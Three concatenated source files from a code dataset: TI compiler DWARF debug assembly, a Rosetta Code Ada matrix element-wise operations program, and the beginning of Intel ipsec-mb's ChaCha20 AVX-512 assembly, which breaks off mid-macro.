.dwattr $C$DW$T$11, DW_AT_name("unsigned int")
.dwattr $C$DW$T$11, DW_AT_byte_size(0x01)
$C$DW$T$12 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$12, DW_AT_name("long")
.dwattr $C$DW$T$12, DW_AT_byte_size(0x02)
$C$DW$T$13 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$13, DW_AT_name("unsigned long")
.dwattr $C$DW$T$13, DW_AT_byte_size(0x02)
$C$DW$T$68 .dwtag DW_TAG_typedef, DW_AT_name("Uint32")
.dwattr $C$DW$T$68, DW_AT_type(*$C$DW$T$13)
.dwattr $C$DW$T$68, DW_AT_language(DW_LANG_C)
$C$DW$T$72 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$72, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$T$72, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$72, DW_AT_byte_size(0x40)
$C$DW$235 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$235, DW_AT_upper_bound(0x1f)
.dwendtag $C$DW$T$72
$C$DW$T$14 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$14, DW_AT_name("long long")
.dwattr $C$DW$T$14, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$14, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$14, DW_AT_bit_offset(0x18)
$C$DW$T$15 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$15, DW_AT_name("unsigned long long")
.dwattr $C$DW$T$15, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$15, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$15, DW_AT_bit_offset(0x18)
$C$DW$T$16 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$16, DW_AT_name("float")
.dwattr $C$DW$T$16, DW_AT_byte_size(0x02)
$C$DW$T$17 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$17, DW_AT_name("double")
.dwattr $C$DW$T$17, DW_AT_byte_size(0x02)
$C$DW$T$18 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$18, DW_AT_name("long double")
.dwattr $C$DW$T$18, DW_AT_byte_size(0x02)
$C$DW$T$109 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$109, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$109, DW_AT_name("signed char")
.dwattr $C$DW$T$109, DW_AT_byte_size(0x01)
$C$DW$236 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$236, DW_AT_type(*$C$DW$T$109)
$C$DW$T$110 .dwtag DW_TAG_const_type
.dwattr $C$DW$T$110, DW_AT_type(*$C$DW$236)
$C$DW$T$111 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$111, DW_AT_type(*$C$DW$T$110)
.dwattr $C$DW$T$111, DW_AT_address_class(0x17)
.dwattr $C$DW$CU, DW_AT_language(DW_LANG_C)
;***************************************************************
;* DWARF CIE ENTRIES *
;***************************************************************
$C$DW$CIE .dwcie 91
.dwcfi cfa_register, 36
.dwcfi cfa_offset, 0
.dwcfi undefined, 0
.dwcfi undefined, 1
.dwcfi undefined, 2
.dwcfi undefined, 3
.dwcfi undefined, 4
.dwcfi undefined, 5
.dwcfi undefined, 6
.dwcfi undefined, 7
.dwcfi undefined, 8
.dwcfi undefined, 9
.dwcfi undefined, 10
.dwcfi undefined, 11
.dwcfi undefined, 12
.dwcfi undefined, 13
.dwcfi same_value, 14
.dwcfi same_value, 15
.dwcfi undefined, 16
.dwcfi undefined, 17
.dwcfi undefined, 18
.dwcfi undefined, 19
.dwcfi undefined, 20
.dwcfi undefined, 21
.dwcfi undefined, 22
.dwcfi undefined, 23
.dwcfi undefined, 24
.dwcfi undefined, 25
.dwcfi same_value, 26
.dwcfi same_value, 27
.dwcfi same_value, 28
.dwcfi same_value, 29
.dwcfi same_value, 30
.dwcfi same_value, 31
.dwcfi undefined, 32
.dwcfi undefined, 33
.dwcfi undefined, 34
.dwcfi undefined, 35
.dwcfi undefined, 36
.dwcfi undefined, 37
.dwcfi undefined, 38
.dwcfi undefined, 39
.dwcfi undefined, 40
.dwcfi undefined, 41
.dwcfi undefined, 42
.dwcfi undefined, 43
.dwcfi undefined, 44
.dwcfi undefined, 45
.dwcfi undefined, 46
.dwcfi undefined, 47
.dwcfi undefined, 48
.dwcfi undefined, 49
.dwcfi undefined, 50
.dwcfi undefined, 51
.dwcfi undefined, 52
.dwcfi undefined, 53
.dwcfi undefined, 54
.dwcfi undefined, 55
.dwcfi undefined, 56
.dwcfi undefined, 57
.dwcfi undefined, 58
.dwcfi undefined, 59
.dwcfi undefined, 60
.dwcfi undefined, 61
.dwcfi undefined, 62
.dwcfi undefined, 63
.dwcfi undefined, 64
.dwcfi undefined, 65
.dwcfi undefined, 66
.dwcfi undefined, 67
.dwcfi undefined, 68
.dwcfi undefined, 69
.dwcfi undefined, 70
.dwcfi undefined, 71
.dwcfi undefined, 72
.dwcfi undefined, 73
.dwcfi undefined, 74
.dwcfi undefined, 75
.dwcfi undefined, 76
.dwcfi undefined, 77
.dwcfi undefined, 78
.dwcfi undefined, 79
.dwcfi undefined, 80
.dwcfi undefined, 81
.dwcfi undefined, 82
.dwcfi undefined, 83
.dwcfi undefined, 84
.dwcfi undefined, 85
.dwcfi undefined, 86
.dwcfi undefined, 87
.dwcfi undefined, 88
.dwcfi undefined, 89
.dwcfi undefined, 90
.dwcfi undefined, 91
.dwendentry
;***************************************************************
;* DWARF REGISTER MAP *
;***************************************************************
$C$DW$237 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$237, DW_AT_location[DW_OP_reg0]
$C$DW$238 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$238, DW_AT_location[DW_OP_reg1]
$C$DW$239 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G")
.dwattr $C$DW$239, DW_AT_location[DW_OP_reg2]
$C$DW$240 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$240, DW_AT_location[DW_OP_reg3]
$C$DW$241 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$241, DW_AT_location[DW_OP_reg4]
$C$DW$242 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G")
.dwattr $C$DW$242, DW_AT_location[DW_OP_reg5]
$C$DW$243 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$243, DW_AT_location[DW_OP_reg6]
$C$DW$244 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$244, DW_AT_location[DW_OP_reg7]
$C$DW$245 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G")
.dwattr $C$DW$245, DW_AT_location[DW_OP_reg8]
$C$DW$246 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$246, DW_AT_location[DW_OP_reg9]
$C$DW$247 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$247, DW_AT_location[DW_OP_reg10]
$C$DW$248 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G")
.dwattr $C$DW$248, DW_AT_location[DW_OP_reg11]
$C$DW$249 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0")
.dwattr $C$DW$249, DW_AT_location[DW_OP_reg12]
$C$DW$250 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1")
.dwattr $C$DW$250, DW_AT_location[DW_OP_reg13]
$C$DW$251 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2")
.dwattr $C$DW$251, DW_AT_location[DW_OP_reg14]
$C$DW$252 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3")
.dwattr $C$DW$252, DW_AT_location[DW_OP_reg15]
$C$DW$253 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0")
.dwattr $C$DW$253, DW_AT_location[DW_OP_reg16]
$C$DW$254 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0")
.dwattr $C$DW$254, DW_AT_location[DW_OP_reg17]
$C$DW$255 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1")
.dwattr $C$DW$255, DW_AT_location[DW_OP_reg18]
$C$DW$256 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1")
.dwattr $C$DW$256, DW_AT_location[DW_OP_reg19]
$C$DW$257 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2")
.dwattr $C$DW$257, DW_AT_location[DW_OP_reg20]
$C$DW$258 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2")
.dwattr $C$DW$258, DW_AT_location[DW_OP_reg21]
$C$DW$259 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3")
.dwattr $C$DW$259, DW_AT_location[DW_OP_reg22]
$C$DW$260 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3")
.dwattr $C$DW$260, DW_AT_location[DW_OP_reg23]
$C$DW$261 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4")
.dwattr $C$DW$261, DW_AT_location[DW_OP_reg24]
$C$DW$262 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4")
.dwattr $C$DW$262, DW_AT_location[DW_OP_reg25]
$C$DW$263 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5")
.dwattr $C$DW$263, DW_AT_location[DW_OP_reg26]
$C$DW$264 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5")
.dwattr $C$DW$264, DW_AT_location[DW_OP_reg27]
$C$DW$265 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6")
.dwattr $C$DW$265, DW_AT_location[DW_OP_reg28]
$C$DW$266 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6")
.dwattr $C$DW$266, DW_AT_location[DW_OP_reg29]
$C$DW$267 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7")
.dwattr $C$DW$267, DW_AT_location[DW_OP_reg30]
$C$DW$268 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7")
.dwattr $C$DW$268, DW_AT_location[DW_OP_reg31]
$C$DW$269 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP")
.dwattr $C$DW$269, DW_AT_location[DW_OP_regx 0x20]
$C$DW$270 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP")
.dwattr $C$DW$270, DW_AT_location[DW_OP_regx 0x21]
$C$DW$271 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC")
.dwattr $C$DW$271, DW_AT_location[DW_OP_regx 0x22]
$C$DW$272 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP")
.dwattr $C$DW$272, DW_AT_location[DW_OP_regx 0x23]
$C$DW$273 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP")
.dwattr $C$DW$273, DW_AT_location[DW_OP_regx 0x24]
$C$DW$274 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC")
.dwattr $C$DW$274, DW_AT_location[DW_OP_regx 0x25]
$C$DW$275 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03")
.dwattr $C$DW$275, DW_AT_location[DW_OP_regx 0x26]
$C$DW$276 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47")
.dwattr $C$DW$276, DW_AT_location[DW_OP_regx 0x27]
$C$DW$277 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0")
.dwattr $C$DW$277, DW_AT_location[DW_OP_regx 0x28]
$C$DW$278 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1")
.dwattr $C$DW$278, DW_AT_location[DW_OP_regx 0x29]
$C$DW$279 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2")
.dwattr $C$DW$279, DW_AT_location[DW_OP_regx 0x2a]
$C$DW$280 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3")
.dwattr $C$DW$280, DW_AT_location[DW_OP_regx 0x2b]
$C$DW$281 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP")
.dwattr $C$DW$281, DW_AT_location[DW_OP_regx 0x2c]
$C$DW$282 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05")
.dwattr $C$DW$282, DW_AT_location[DW_OP_regx 0x2d]
$C$DW$283 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67")
.dwattr $C$DW$283, DW_AT_location[DW_OP_regx 0x2e]
$C$DW$284 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0")
.dwattr $C$DW$284, DW_AT_location[DW_OP_regx 0x2f]
$C$DW$285 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0")
.dwattr $C$DW$285, DW_AT_location[DW_OP_regx 0x30]
$C$DW$286 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H")
.dwattr $C$DW$286, DW_AT_location[DW_OP_regx 0x31]
$C$DW$287 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0")
.dwattr $C$DW$287, DW_AT_location[DW_OP_regx 0x32]
$C$DW$288 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H")
.dwattr $C$DW$288, DW_AT_location[DW_OP_regx 0x33]
$C$DW$289 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1")
.dwattr $C$DW$289, DW_AT_location[DW_OP_regx 0x34]
$C$DW$290 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1")
.dwattr $C$DW$290, DW_AT_location[DW_OP_regx 0x35]
$C$DW$291 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1")
.dwattr $C$DW$291, DW_AT_location[DW_OP_regx 0x36]
$C$DW$292 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H")
.dwattr $C$DW$292, DW_AT_location[DW_OP_regx 0x37]
$C$DW$293 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1")
.dwattr $C$DW$293, DW_AT_location[DW_OP_regx 0x38]
$C$DW$294 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H")
.dwattr $C$DW$294, DW_AT_location[DW_OP_regx 0x39]
$C$DW$295 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR")
.dwattr $C$DW$295, DW_AT_location[DW_OP_regx 0x3a]
$C$DW$296 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC")
.dwattr $C$DW$296, DW_AT_location[DW_OP_regx 0x3b]
$C$DW$297 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP")
.dwattr $C$DW$297, DW_AT_location[DW_OP_regx 0x3c]
$C$DW$298 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP")
.dwattr $C$DW$298, DW_AT_location[DW_OP_regx 0x3d]
$C$DW$299 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0")
.dwattr $C$DW$299, DW_AT_location[DW_OP_regx 0x3e]
$C$DW$300 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1")
.dwattr $C$DW$300, DW_AT_location[DW_OP_regx 0x3f]
$C$DW$301 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01")
.dwattr $C$DW$301, DW_AT_location[DW_OP_regx 0x40]
$C$DW$302 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23")
.dwattr $C$DW$302, DW_AT_location[DW_OP_regx 0x41]
$C$DW$303 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45")
.dwattr $C$DW$303, DW_AT_location[DW_OP_regx 0x42]
$C$DW$304 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67")
.dwattr $C$DW$304, DW_AT_location[DW_OP_regx 0x43]
$C$DW$305 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC")
.dwattr $C$DW$305, DW_AT_location[DW_OP_regx 0x44]
$C$DW$306 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY")
.dwattr $C$DW$306, DW_AT_location[DW_OP_regx 0x45]
$C$DW$307 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1")
.dwattr $C$DW$307, DW_AT_location[DW_OP_regx 0x46]
$C$DW$308 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2")
.dwattr $C$DW$308, DW_AT_location[DW_OP_regx 0x47]
$C$DW$309 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40")
.dwattr $C$DW$309, DW_AT_location[DW_OP_regx 0x48]
$C$DW$310 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD")
.dwattr $C$DW$310, DW_AT_location[DW_OP_regx 0x49]
$C$DW$311 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS")
.dwattr $C$DW$311, DW_AT_location[DW_OP_regx 0x4a]
$C$DW$312 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM")
.dwattr $C$DW$312, DW_AT_location[DW_OP_regx 0x4b]
$C$DW$313 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA")
.dwattr $C$DW$313, DW_AT_location[DW_OP_regx 0x4c]
$C$DW$314 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD")
.dwattr $C$DW$314, DW_AT_location[DW_OP_regx 0x4d]
$C$DW$315 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM")
.dwattr $C$DW$315, DW_AT_location[DW_OP_regx 0x4e]
$C$DW$316 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT")
.dwattr $C$DW$316, DW_AT_location[DW_OP_regx 0x4f]
$C$DW$317 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL")
.dwattr $C$DW$317, DW_AT_location[DW_OP_regx 0x50]
$C$DW$318 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM")
.dwattr $C$DW$318, DW_AT_location[DW_OP_regx 0x51]
$C$DW$319 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC")
.dwattr $C$DW$319, DW_AT_location[DW_OP_regx 0x52]
$C$DW$320 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC")
.dwattr $C$DW$320, DW_AT_location[DW_OP_regx 0x53]
$C$DW$321 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC")
.dwattr $C$DW$321, DW_AT_location[DW_OP_regx 0x54]
$C$DW$322 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC")
.dwattr $C$DW$322, DW_AT_location[DW_OP_regx 0x55]
$C$DW$323 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC")
.dwattr $C$DW$323, DW_AT_location[DW_OP_regx 0x56]
$C$DW$324 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC")
.dwattr $C$DW$324, DW_AT_location[DW_OP_regx 0x57]
$C$DW$325 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC")
.dwattr $C$DW$325, DW_AT_location[DW_OP_regx 0x58]
$C$DW$326 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC")
.dwattr $C$DW$326, DW_AT_location[DW_OP_regx 0x59]
$C$DW$327 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC")
.dwattr $C$DW$327, DW_AT_location[DW_OP_regx 0x5a]
$C$DW$328 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA")
.dwattr $C$DW$328, DW_AT_location[DW_OP_regx 0x5b]
.dwendtag $C$DW$CU
|
Task/Element-wise-operations/Ada/element-wise-operations-1.ada | LaudateCorpus1/RosettaCodeData | 1 | 3698 | with Ada.Text_IO, Matrix_Scalar;
procedure Scalar_Ops is
subtype T is Integer range 1 .. 3;
package M is new Matrix_Scalar(T, T, Integer);
-- the functions to solve the task
function "+" is new M.Func("+");
function "-" is new M.Func("-");
function "*" is new M.Func("*");
function "/" is new M.Func("/");
function "**" is new M.Func("**");
function "mod" is new M.Func("mod");
-- for output purposes, we need a Matrix->String conversion
function Image is new M.Image(Integer'Image);
A: M.Matrix := ((1,2,3),(4,5,6),(7,8,9)); -- something to begin with
begin
Ada.Text_IO.Put_Line(" Initial M=" & Image(A));
Ada.Text_IO.Put_Line(" M+2=" & Image(A+2));
Ada.Text_IO.Put_Line(" M-2=" & Image(A-2));
Ada.Text_IO.Put_Line(" M*2=" & Image(A*2));
Ada.Text_IO.Put_Line(" M/2=" & Image(A/2));
Ada.Text_IO.Put_Line(" square(M)=" & Image(A ** 2));
Ada.Text_IO.Put_Line(" M mod 2=" & Image(A mod 2));
Ada.Text_IO.Put_Line("(M*2) mod 3=" & Image((A*2) mod 3));
end Scalar_Ops;
|
lib/avx512/chacha20_avx512.asm | dongbinghua/intel-ipsec-mb | 174 | 178802 | ;;
;; Copyright (c) 2020-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "include/imb_job.asm"
%include "include/clear_regs.asm"
%include "include/const.inc"
%include "include/reg_sizes.asm"
%include "include/transpose_avx512.asm"
%include "include/aes_common.asm"
%include "include/chacha_poly_defines.asm"
%include "include/cet.inc"
mksection .rodata
default rel
align 16
constants:
dd 0x61707865, 0x3320646e, 0x79622d32, 0x6b206574
align 64
add_0_3:
dd 0x00000000, 0x00000000, 0x00000000, 0x00000000
dd 0x00000001, 0x00000000, 0x00000000, 0x00000000
dd 0x00000002, 0x00000000, 0x00000000, 0x00000000
dd 0x00000003, 0x00000000, 0x00000000, 0x00000000
align 64
add_4_7:
dd 0x00000004, 0x00000000, 0x00000000, 0x00000000
dd 0x00000005, 0x00000000, 0x00000000, 0x00000000
dd 0x00000006, 0x00000000, 0x00000000, 0x00000000
dd 0x00000007, 0x00000000, 0x00000000, 0x00000000
align 64
add_1_4:
dd 0x00000001, 0x00000000, 0x00000000, 0x00000000
dd 0x00000002, 0x00000000, 0x00000000, 0x00000000
dd 0x00000003, 0x00000000, 0x00000000, 0x00000000
dd 0x00000004, 0x00000000, 0x00000000, 0x00000000
align 64
add_5_8:
dd 0x00000005, 0x00000000, 0x00000000, 0x00000000
dd 0x00000006, 0x00000000, 0x00000000, 0x00000000
dd 0x00000007, 0x00000000, 0x00000000, 0x00000000
dd 0x00000008, 0x00000000, 0x00000000, 0x00000000
align 64
add_16:
dd 0x00000010, 0x00000010, 0x00000010, 0x00000010
dd 0x00000010, 0x00000010, 0x00000010, 0x00000010
dd 0x00000010, 0x00000010, 0x00000010, 0x00000010
dd 0x00000010, 0x00000010, 0x00000010, 0x00000010
align 64
set_1_16:
dd 0x00000001, 0x00000002, 0x00000003, 0x00000004
dd 0x00000005, 0x00000006, 0x00000007, 0x00000008
dd 0x00000009, 0x0000000a, 0x0000000b, 0x0000000c
dd 0x0000000d, 0x0000000e, 0x0000000f, 0x00000010
align 64
set_0_15:
dd 0x00000000, 0x00000001, 0x00000002, 0x00000003
dd 0x00000004, 0x00000005, 0x00000006, 0x00000007
dd 0x00000008, 0x00000009, 0x0000000a, 0x0000000b
dd 0x0000000c, 0x0000000d, 0x0000000e, 0x0000000f
align 64
len_to_mask:
dq 0xffffffffffffffff, 0x0000000000000001
dq 0x0000000000000003, 0x0000000000000007
dq 0x000000000000000f, 0x000000000000001f
dq 0x000000000000003f, 0x000000000000007f
dq 0x00000000000000ff, 0x00000000000001ff
dq 0x00000000000003ff, 0x00000000000007ff
dq 0x0000000000000fff, 0x0000000000001fff
dq 0x0000000000003fff, 0x0000000000007fff
dq 0x000000000000ffff, 0x000000000001ffff
dq 0x000000000003ffff, 0x000000000007ffff
dq 0x00000000000fffff, 0x00000000001fffff
dq 0x00000000003fffff, 0x00000000007fffff
dq 0x0000000000ffffff, 0x0000000001ffffff
dq 0x0000000003ffffff, 0x0000000007ffffff
dq 0x000000000fffffff, 0x000000001fffffff
dq 0x000000003fffffff, 0x000000007fffffff
dq 0x00000000ffffffff, 0x00000001ffffffff
dq 0x00000003ffffffff, 0x00000007ffffffff
dq 0x0000000fffffffff, 0x0000001fffffffff
dq 0x0000003fffffffff, 0x0000007fffffffff
dq 0x000000ffffffffff, 0x000001ffffffffff
dq 0x000003ffffffffff, 0x000007ffffffffff
dq 0x00000fffffffffff, 0x00001fffffffffff
dq 0x00003fffffffffff, 0x00007fffffffffff
dq 0x0000ffffffffffff, 0x0001ffffffffffff
dq 0x0003ffffffffffff, 0x0007ffffffffffff
dq 0x000fffffffffffff, 0x001fffffffffffff
dq 0x003fffffffffffff, 0x007fffffffffffff
dq 0x00ffffffffffffff, 0x01ffffffffffffff
dq 0x03ffffffffffffff, 0x07ffffffffffffff
dq 0x0fffffffffffffff, 0x1fffffffffffffff
dq 0x3fffffffffffffff, 0x7fffffffffffffff
align 32
poly_clamp_r:
dq 0x0ffffffc0fffffff, 0x0ffffffc0ffffffc
dq 0xffffffffffffffff, 0xffffffffffffffff
%define APPEND(a,b) a %+ b
%define APPEND3(a,b,c) a %+ b %+ c
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define arg3 rdx
%define arg4 rcx
%define arg5 r8
%else
%define arg1 rcx
%define arg2 rdx
%define arg3 r8
%define arg4 r9
%define arg5 [rsp + 40]
%endif
%define job arg1
%define added_len r12
mksection .text
%macro ZMM_OP_X4 9
ZMM_OPCODE3_DSTR_SRC1R_SRC2R_BLOCKS_0_16 16, %1,%2,%3,%4,%5,%2,%3,%4,%5,%6,%7,%8,%9
%endmacro
%macro ZMM_ROLS_X4 5
%define %%ZMM_OP1_1 %1
%define %%ZMM_OP1_2 %2
%define %%ZMM_OP1_3 %3
%define %%ZMM_OP1_4 %4
%define %%BITS_TO_ROTATE %5
vprold %%ZMM_OP1_1, %%BITS_TO_ROTATE
vprold %%ZMM_OP1_2, %%BITS_TO_ROTATE
vprold %%ZMM_OP1_3, %%BITS_TO_ROTATE
vprold %%ZMM_OP1_4, %%BITS_TO_ROTATE
%endmacro
%macro GEN_POLY_KEY 2
%define %%AKEY_PTR %1
%define %%CHACHA_STATE %2
vpandq YWORD(%%CHACHA_STATE), [rel poly_clamp_r]
vmovdqa64 [%%AKEY_PTR], YWORD(%%CHACHA_STATE)
%endmacro
;
; Macro adding original state values to processed state values
; and transposing 16x16 u32 from first 16 ZMM registers,
; creating keystreams.
; Note that the registers are tranposed in a different
; order, so first register (IN00) containing row 0
; will not contain the first column of the matrix, but
; row 1 and same with other registers.
; This is done to minimize the number of registers clobbered.
; Once transposition is done, keystream is XOR'd with the plaintext
; and output buffer is written.
;
%macro GENERATE_1K_KS_AND_ENCRYPT 36
%define %%IN00_KS01 %1 ; [in/clobbered] Input row 0 of state, bytes 64-127 of keystream
%define %%IN01_KS02 %2 ; [in/clobbered] Input row 1 of state, bytes 128-191 of keystream
%define %%IN02_KS15 %3 ; [in/clobbered] Input row 2 of state, bytes 960-1023 of keystream
%define %%IN03_KS04 %4 ; [in/clobbered] Input row 3 of state, bytes 256-319 of keystream
%define %%IN04_KS08 %5 ; [in/clobbered] Input row 4 of state, bytes 512-575 of keystream
%define %%IN05 %6 ; [in/clobbered] Input row 5 of state, bytes 576-639 of keystream
%define %%IN06_KS13 %7 ; [in/clobbered] Input row 6 of state, bytes 832-895 of keystream
%define %%IN07_KS07 %8 ; [in/clobbered] Input row 7 of state, bytes 448-511 of keystream
%define %%IN08_KS05 %9 ; [in/clobbered] Input row 8 of state, bytes 320-383 of keystream
%define %%IN09_KS00 %10 ; [in/clobbered] Input row 9 of state, bytes 0-63 of keystream
%define %%IN10_KS06 %11 ; [in/clobbered] Input row 10 of state, bytes 384-447 of keystream
%define %%IN11_KS11 %12 ; [in/clobbered] Input row 11 of state, bytes 704-767 of keystream
%define %%IN12_KS12 %13 ; [in/clobbered] Input row 12 of state, bytes 768-831 of keystream
%define %%IN13_KS03 %14 ; [in/clobbered] Input row 13 of state, bytes 192-255 of keystream
